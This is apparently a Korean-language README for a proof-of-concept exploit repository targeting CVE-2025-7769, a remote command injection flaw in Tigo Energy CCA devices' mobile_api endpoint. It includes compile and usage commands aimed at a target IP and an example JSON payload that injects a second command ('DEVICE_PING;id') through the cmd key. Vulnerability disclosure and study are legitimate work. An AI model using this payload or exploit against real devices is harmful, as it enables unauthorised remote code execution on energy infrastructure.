CVE-2025-7769 – mobile_api의 원격 명령 주입

설명 :

이 저장소는 CVE‑2025‑7769에 대한 개념 증명(PoC) 익스플로잇을 포함합니다. 이 취약점은 /cgi-bin/mobile_api 엔드포인트를 노출하는 Tigo Energy CCA 기기에서 발견된 심각한 원격 명령 주입(Command Injection) 취약점입니다.

이 취약점은 cmd JSON 키를 통해 OS 명령을 주입하여 트리거되며, 필터링되지 않은 입력이 시스템 호출에 직접 연결되어 장치에서 완전한 원격 코드 실행(RCE)을 허용합니다.

참조 :

• NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2025-7769

사용법 :

gcc exploit.c argparse.c -o CVE-2025-7769 -lcurl
./CVE-2025-7769 -i 10.0.2.15 -p 80 -v
Replace 10.0.2.15 with the target IP.

Use -u http://target.com if you want to pass a full base URL instead of IP/port.

Example Payload :

{
  "cmd": "DEVICE_PING;id",
  "dev": 2,
  "ver": 1
}

라이선스 :

MIT 라이선스